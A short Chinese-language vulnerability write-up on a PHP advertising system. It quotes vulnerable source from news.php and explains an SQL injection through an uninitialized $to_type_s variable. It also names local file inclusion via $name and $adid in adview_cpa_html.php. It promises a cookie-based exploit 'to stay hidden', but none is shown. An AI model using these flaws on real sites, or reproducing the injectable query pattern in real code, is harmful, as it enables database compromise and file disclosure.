在index/news.php 1-31行

<?
include_once("top.php");

      $newsid = intval($_GET['id']);

      $to_type = addslashes($_GET['type']);

      if ($to_type=='index')
      {
          $to_type_s =" and to_type=1";
      }

       if ($to_type=='webuser')
      {
          $to_type_s =" and to_type!=3";
      }

       if ($to_type=='webadver')
      {
          $to_type_s =" and to_type!=2";
      }

      $newssql = 'select * from zyads_news WHERE `id` =\'' . $newsid . '\' 

'.$to_type_s.'';

      $newsre=$db->query($newssql);
      $newsrow = $db->fetch_array($newsre);
      if (empty($newsrow)){

        zyads_message('zyads_news');
      }
?>

可以看到$to_type没定义或者不等于index，webuser，webadver的话 那么$to_type_s是没有定义的

这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入，呵呵。

在/code/adview_cpa_html.php 1-46行

$name，$adid这两个变量都能造成本地包含漏洞

不过$adid好利用点。

最后附上一个exp，只是简单的cookie提交参数  为了隐蔽点 呵呵
